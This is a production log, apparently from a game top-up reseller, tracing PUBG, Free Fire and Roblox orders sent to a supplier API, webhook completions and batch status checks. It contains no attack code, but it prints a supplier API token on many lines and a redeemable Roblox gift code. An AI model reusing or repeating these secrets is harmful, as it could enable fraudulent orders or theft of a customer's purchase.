[2026-03-24 15:00:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 5  
[2026-03-24 15:00:35] production.INFO: Constructing job for order: 178792  
[2026-03-24 15:00:37] production.INFO: Handling job for order: 178792  
[2026-03-24 15:00:37] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:00:37] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:00:37] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=ae6043dd-bea5-4c76-b460-a7590d265ba7&Player_ID=51456507281  
[2026-03-24 15:00:37] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=ae6043dd-bea5-4c76-b460-a7590d265ba7&Player_ID=51456507281","has_body":false} 
[2026-03-24 15:00:38] production.INFO: Operation sent successfully {"operation_id":163713,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-JcOJqz-1774353638","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 15:00:38"}},"processed_data":{"order_number":"ORD-JcOJqz-1774353638","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 15:00:47] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-JcOJqz-1774353638","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:00:47] production.INFO: Processed webhook data (normalized) {"id":"ORD-JcOJqz-1774353638","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:00:47] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:00:47] production.INFO: SendAcceptReject: Notification queued {"user_id":57,"notification_type":"order_approved","reference_id":178792} 
[2026-03-24 15:00:47] production.INFO: Order updated successfully. Order ID: 178792, Status: completed  
[2026-03-24 15:00:47] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-JcOJqz-1774353638","status":"completed","codes_count":0} 
[2026-03-24 15:00:47] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 57  
[2026-03-24 15:00:56] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"150.0","mainamount":"150","operation_number":"158303464","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpl4mh69tu6drsbDmg9x7"}},"user_id":1767} 
[2026-03-24 15:00:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 15:00:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 15:00:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 15:00:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 15:00:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 15:00:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 15:00:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 15:00:56] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 15:00:56] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18633,"user_id":1767,"amount":150.0,"admins_notified":7} 
[2026-03-24 15:01:05] production.INFO: Constructing job for order: 178793  
[2026-03-24 15:01:08] production.INFO: Handling job for order: 178793  
[2026-03-24 15:01:08] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:01:08] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:01:08] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=4d95cc54-7d8f-4522-8c27-19920bc84a20&Player_ID=51278049877  
[2026-03-24 15:01:08] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=4d95cc54-7d8f-4522-8c27-19920bc84a20&Player_ID=51278049877","has_body":false} 
[2026-03-24 15:01:09] production.INFO: Operation sent successfully {"operation_id":163714,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ha2YAx-1774353669","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 15:01:09"}},"processed_data":{"order_number":"ORD-ha2YAx-1774353669","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 15:01:14] production.INFO: Constructing job for order: 178794  
[2026-03-24 15:01:15] production.INFO: Handling job for order: 178794  
[2026-03-24 15:01:15] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:01:15] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:01:15] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=05f0ca7b-9aba-4fb3-94a8-91dd5f65faf9&Player_ID=52438750176  
[2026-03-24 15:01:15] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=05f0ca7b-9aba-4fb3-94a8-91dd5f65faf9&Player_ID=52438750176","has_body":false} 
[2026-03-24 15:01:16] production.INFO: Operation sent successfully {"operation_id":163715,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-nrJ-1774353676","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 15:01:16"}},"processed_data":{"order_number":"ORD-nrJ-1774353676","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 15:01:16] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-ha2YAx-1774353669","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:01:16] production.INFO: Processed webhook data (normalized) {"id":"ORD-ha2YAx-1774353669","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:01:16] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:01:16] production.INFO: SendAcceptReject: Notification queued {"user_id":1662,"notification_type":"order_approved","reference_id":178793} 
[2026-03-24 15:01:16] production.INFO: Order updated successfully. Order ID: 178793, Status: completed  
[2026-03-24 15:01:16] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-ha2YAx-1774353669","status":"completed","codes_count":0} 
[2026-03-24 15:01:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1662  
[2026-03-24 15:01:28] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 44  
[2026-03-24 15:01:28] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 44  
[2026-03-24 15:01:30] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-nrJ-1774353676","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:01:30] production.INFO: Processed webhook data (normalized) {"id":"ORD-nrJ-1774353676","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:01:30] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:01:30] production.INFO: SendAcceptReject: Notification queued {"user_id":1158,"notification_type":"order_approved","reference_id":178794} 
[2026-03-24 15:01:30] production.INFO: Order updated successfully. Order ID: 178794, Status: completed  
[2026-03-24 15:01:30] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-nrJ-1774353676","status":"completed","codes_count":0} 
[2026-03-24 15:01:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1158  
[2026-03-24 15:02:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"A3OWLmhwINdGRIxrdkraWXOx4mQaAZAp","execution_time":"2026-03-24 15:02:04"} 
[2026-03-24 15:02:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"A3OWLmhwINdGRIxrdkraWXOx4mQaAZAp","execution_time":"2026-03-24 15:02:04","total_operations":4,"sites_count":2} 
[2026-03-24 15:02:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"A3OWLmhwINdGRIxrdkraWXOx4mQaAZAp","execution_time":"2026-03-24 15:02:04","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-djVT3-1774352434","ORD-UNx-1774352506","ORD-UPiF74u-1774352697"]} 
[2026-03-24 15:02:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"A3OWLmhwINdGRIxrdkraWXOx4mQaAZAp","execution_time":"2026-03-24 15:02:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 15:02:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"A3OWLmhwINdGRIxrdkraWXOx4mQaAZAp","execution_time":"2026-03-24 15:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 15:02:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"A3OWLmhwINdGRIxrdkraWXOx4mQaAZAp","execution_time":"2026-03-24 15:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"processed":3,"skipped":0,"updates_prepared":3} 
[2026-03-24 15:02:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"A3OWLmhwINdGRIxrdkraWXOx4mQaAZAp","execution_time":"2026-03-24 15:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"total_items":3,"chunks":1,"chunk_size":10} 
[2026-03-24 15:02:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"A3OWLmhwINdGRIxrdkraWXOx4mQaAZAp","execution_time":"2026-03-24 15:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"count":3} 
[2026-03-24 15:02:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"A3OWLmhwINdGRIxrdkraWXOx4mQaAZAp","execution_time":"2026-03-24 15:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"count":3} 
[2026-03-24 15:02:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"A3OWLmhwINdGRIxrdkraWXOx4mQaAZAp","execution_time":"2026-03-24 15:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"user_id":951,"notification_type":"order_approved","reference_id":178763} 
[2026-03-24 15:02:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"A3OWLmhwINdGRIxrdkraWXOx4mQaAZAp","execution_time":"2026-03-24 15:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"user_id":951,"notification_type":"order_approved","reference_id":178766} 
[2026-03-24 15:02:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"A3OWLmhwINdGRIxrdkraWXOx4mQaAZAp","execution_time":"2026-03-24 15:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"user_id":1488,"notification_type":"order_approved","reference_id":178771} 
[2026-03-24 15:02:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"A3OWLmhwINdGRIxrdkraWXOx4mQaAZAp","execution_time":"2026-03-24 15:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"chunk_number":1,"processed":3,"errors":0,"total_operations":3,"total_orders":3,"total_codes":0,"total_refunds":0} 
[2026-03-24 15:02:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"A3OWLmhwINdGRIxrdkraWXOx4mQaAZAp","execution_time":"2026-03-24 15:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"total_processed":3,"total_errors":0,"chunks_processed":1} 
[2026-03-24 15:02:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"A3OWLmhwINdGRIxrdkraWXOx4mQaAZAp","execution_time":"2026-03-24 15:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"processed":3,"errors":0} 
[2026-03-24 15:02:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"A3OWLmhwINdGRIxrdkraWXOx4mQaAZAp","execution_time":"2026-03-24 15:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"processed":3,"errors":0} 
[2026-03-24 15:02:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"A3OWLmhwINdGRIxrdkraWXOx4mQaAZAp","execution_time":"2026-03-24 15:02:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"orders_count":1,"order_ids":["ORD-l3ngC-1774353257"]} 
[2026-03-24 15:02:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"A3OWLmhwINdGRIxrdkraWXOx4mQaAZAp","execution_time":"2026-03-24 15:02:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692} 
[2026-03-24 15:02:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"A3OWLmhwINdGRIxrdkraWXOx4mQaAZAp","execution_time":"2026-03-24 15:02:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"orders_count":1} 
[2026-03-24 15:02:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"A3OWLmhwINdGRIxrdkraWXOx4mQaAZAp","execution_time":"2026-03-24 15:02:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704} 
[2026-03-24 15:02:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"A3OWLmhwINdGRIxrdkraWXOx4mQaAZAp","execution_time":"2026-03-24 15:02:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 15:02:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"A3OWLmhwINdGRIxrdkraWXOx4mQaAZAp","execution_time":"2026-03-24 15:02:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"processed":0,"errors":0} 
[2026-03-24 15:02:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"A3OWLmhwINdGRIxrdkraWXOx4mQaAZAp","execution_time":"2026-03-24 15:02:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704} 
[2026-03-24 15:02:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 951  
[2026-03-24 15:02:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 951  
[2026-03-24 15:02:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1488  
[2026-03-24 15:02:24] production.INFO: Constructing job for order: 178795  
[2026-03-24 15:02:25] production.INFO: Handling job for order: 178795  
[2026-03-24 15:02:25] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:02:25] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/308/params?qty=1&uuid=752abf3d-ba9e-4e1e-89be-8f747cd70ee3  
[2026-03-24 15:02:25] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/308/params?qty=1&uuid=752abf3d-ba9e-4e1e-89be-8f747cd70ee3","has_body":false} 
[2026-03-24 15:02:26] production.INFO: Operation sent successfully {"operation_id":163716,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-XNA-1774353746","amount":9.5950000000000006394884621840901672840118408203125,"status":"processing","product":"10$ Roblox","game":"Roblox","notes":[],"created_at":"2026-03-24 15:02:26"}},"processed_data":{"order_number":"ORD-XNA-1774353746","amount":9.5950000000000006394884621840901672840118408203125,"status":"processing","product":"10$ Roblox","game":"Roblox"}} 
[2026-03-24 15:02:28] production.INFO: Constructing job for order: 178796  
[2026-03-24 15:02:29] production.INFO: Handling job for order: 178796  
[2026-03-24 15:02:29] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:02:29] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:02:29] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=7a5bdd10-3995-4e6f-85f9-84d58ff9e79d&Player_ID=52438750176  
[2026-03-24 15:02:29] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=7a5bdd10-3995-4e6f-85f9-84d58ff9e79d&Player_ID=52438750176","has_body":false} 
[2026-03-24 15:02:30] production.INFO: Operation sent successfully {"operation_id":163717,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-GmtfZ2lP-1774353750","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 15:02:30"}},"processed_data":{"order_number":"ORD-GmtfZ2lP-1774353750","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 15:02:34] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-XNA-1774353746","status":"completed","notes":[],"codes":["RI8TACPB897EXHPCBJ"]}} 
[2026-03-24 15:02:34] production.INFO: Processed webhook data (normalized) {"id":"ORD-XNA-1774353746","status":"completed","codes":["RI8TACPB897EXHPCBJ"],"notes":[]} 
[2026-03-24 15:02:34] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:02:34] production.INFO: Added codes to order via OrderService {"order_id":178795,"codes_count":1,"codes":["RI8TACPB897EXHPCBJ"]} 
[2026-03-24 15:02:34] production.INFO: SendAcceptReject: Notification queued {"user_id":949,"notification_type":"order_approved","reference_id":178795} 
[2026-03-24 15:02:34] production.INFO: Order updated successfully. Order ID: 178795, Status: completed  
[2026-03-24 15:02:34] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-XNA-1774353746","status":"completed","codes_count":1} 
[2026-03-24 15:02:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 15:02:38] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-GmtfZ2lP-1774353750","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:02:38] production.INFO: Processed webhook data (normalized) {"id":"ORD-GmtfZ2lP-1774353750","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:02:38] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:02:38] production.INFO: SendAcceptReject: Notification queued {"user_id":1158,"notification_type":"order_approved","reference_id":178796} 
[2026-03-24 15:02:38] production.INFO: Order updated successfully. Order ID: 178796, Status: completed  
[2026-03-24 15:02:38] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-GmtfZ2lP-1774353750","status":"completed","codes_count":0} 
[2026-03-24 15:02:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1158  
[2026-03-24 15:03:28] production.INFO: Constructing job for order: 178797  
[2026-03-24 15:03:30] production.INFO: Handling job for order: 178797  
[2026-03-24 15:03:30] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:03:30] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:03:30] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/90/params?qty=1&uuid=1ab574d5-3933-4eb2-aac4-0af3d9453f6c&Player_ID=7667132941  
[2026-03-24 15:03:30] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/90/params?qty=1&uuid=1ab574d5-3933-4eb2-aac4-0af3d9453f6c&Player_ID=7667132941","has_body":false} 
[2026-03-24 15:03:31] production.INFO: Operation sent successfully {"operation_id":163718,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ANvKF9O-1774353811","amount":9.3465000000000006963318810448981821537017822265625,"status":"processing","product":"1080+120 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 15:03:31"}},"processed_data":{"order_number":"ORD-ANvKF9O-1774353811","amount":9.3465000000000006963318810448981821537017822265625,"status":"processing","product":"1080+120 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 15:03:52] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-ANvKF9O-1774353811","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:03:52] production.INFO: Processed webhook data (normalized) {"id":"ORD-ANvKF9O-1774353811","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:03:52] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:03:52] production.INFO: SendAcceptReject: Notification queued {"user_id":31,"notification_type":"order_approved","reference_id":178797} 
[2026-03-24 15:03:52] production.INFO: Order updated successfully. Order ID: 178797, Status: completed  
[2026-03-24 15:03:52] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-ANvKF9O-1774353811","status":"completed","codes_count":0} 
[2026-03-24 15:03:55] production.INFO: Constructing job for order: 178798  
[2026-03-24 15:03:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 31  
[2026-03-24 15:03:58] production.INFO: Handling job for order: 178798  
[2026-03-24 15:03:58] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:03:58] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/308/params?qty=1&uuid=43af723e-5969-4d72-84dd-3a6e2317e4c5  
[2026-03-24 15:03:58] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/308/params?qty=1&uuid=43af723e-5969-4d72-84dd-3a6e2317e4c5","has_body":false} 
[2026-03-24 15:03:59] production.INFO: Operation sent successfully {"operation_id":163719,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-J8JK-1774353839","amount":9.5950000000000006394884621840901672840118408203125,"status":"processing","product":"10$ Roblox","game":"Roblox","notes":[],"created_at":"2026-03-24 15:03:59"}},"processed_data":{"order_number":"ORD-J8JK-1774353839","amount":9.5950000000000006394884621840901672840118408203125,"status":"processing","product":"10$ Roblox","game":"Roblox"}} 
[2026-03-24 15:04:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"8G139A5Nb8kRubiiLQTyjJ7w6buCn3wm","execution_time":"2026-03-24 15:04:02"} 
[2026-03-24 15:04:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"8G139A5Nb8kRubiiLQTyjJ7w6buCn3wm","execution_time":"2026-03-24 15:04:02","total_operations":2,"sites_count":2} 
[2026-03-24 15:04:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"8G139A5Nb8kRubiiLQTyjJ7w6buCn3wm","execution_time":"2026-03-24 15:04:02","site_id":4,"site_name":"swgamessls","orders_count":1,"order_ids":["ORD-l3ngC-1774353257"]} 
[2026-03-24 15:04:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"8G139A5Nb8kRubiiLQTyjJ7w6buCn3wm","execution_time":"2026-03-24 15:04:02","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 15:04:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"8G139A5Nb8kRubiiLQTyjJ7w6buCn3wm","execution_time":"2026-03-24 15:04:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 15:04:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"8G139A5Nb8kRubiiLQTyjJ7w6buCn3wm","execution_time":"2026-03-24 15:04:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704} 
[2026-03-24 15:04:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"8G139A5Nb8kRubiiLQTyjJ7w6buCn3wm","execution_time":"2026-03-24 15:04:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 15:04:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"8G139A5Nb8kRubiiLQTyjJ7w6buCn3wm","execution_time":"2026-03-24 15:04:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"processed":0,"errors":0} 
[2026-03-24 15:04:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"8G139A5Nb8kRubiiLQTyjJ7w6buCn3wm","execution_time":"2026-03-24 15:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"orders_count":1,"order_ids":["ORD-J8JK-1774353839"]} 
[2026-03-24 15:04:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"8G139A5Nb8kRubiiLQTyjJ7w6buCn3wm","execution_time":"2026-03-24 15:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704} 
[2026-03-24 15:04:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"8G139A5Nb8kRubiiLQTyjJ7w6buCn3wm","execution_time":"2026-03-24 15:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"orders_count":1} 
[2026-03-24 15:04:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"8G139A5Nb8kRubiiLQTyjJ7w6buCn3wm","execution_time":"2026-03-24 15:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-J8JK-1774353839","operation_id":163719,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 15:04:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"8G139A5Nb8kRubiiLQTyjJ7w6buCn3wm","execution_time":"2026-03-24 15:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-J8JK-1774353839","operation_id":163719,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 15:04:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"8G139A5Nb8kRubiiLQTyjJ7w6buCn3wm","execution_time":"2026-03-24 15:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-J8JK-1774353839","operation_id":163719,"count":1} 
[2026-03-24 15:04:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"8G139A5Nb8kRubiiLQTyjJ7w6buCn3wm","execution_time":"2026-03-24 15:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-J8JK-1774353839","operation_id":163719,"count":1} 
[2026-03-24 15:04:02] production.INFO: Bulk inserted order codes {"job":"Quryjob","job_id":"8G139A5Nb8kRubiiLQTyjJ7w6buCn3wm","execution_time":"2026-03-24 15:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-J8JK-1774353839","operation_id":163719,"codes_count":1} 
[2026-03-24 15:04:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"8G139A5Nb8kRubiiLQTyjJ7w6buCn3wm","execution_time":"2026-03-24 15:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-J8JK-1774353839","operation_id":163719,"user_id":949,"notification_type":"order_approved","reference_id":178798} 
